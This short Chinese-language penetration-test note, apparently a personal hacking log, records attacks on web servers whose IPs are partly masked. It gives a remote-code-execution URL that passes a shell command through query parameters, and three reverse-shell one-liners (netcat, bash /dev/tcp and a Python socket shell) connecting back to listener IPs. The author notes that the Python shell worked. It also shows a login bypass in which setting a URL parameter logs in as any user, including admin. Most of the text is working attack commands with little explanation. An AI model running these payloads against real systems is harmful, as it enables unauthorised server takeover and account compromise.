FPTC5DE9V6{OM8)%OQZ1I9O.png

远程RCE

https://111.231.xx.xx/tool/log/c.php?strip_slashes=system&host=id

image.png

尝试 弹个shell
nc 10.20.3.129 4444 -e /bin/bash nc尝试反弹shell失败了

bash -i >& /dev/tcp/10.20.2.185/4444 0>&1 bash 尝试反弹shell失败了

sanqiushu@sanqiushu-VirtualBox:~$ python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.20.2.185',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" python 牛逼

image.png

---

任意用户登录：

https://114.119.x.xxx/ui/login.php?user=admin
直接设置user=xxx就可以以xxx的身份登录系统

image.png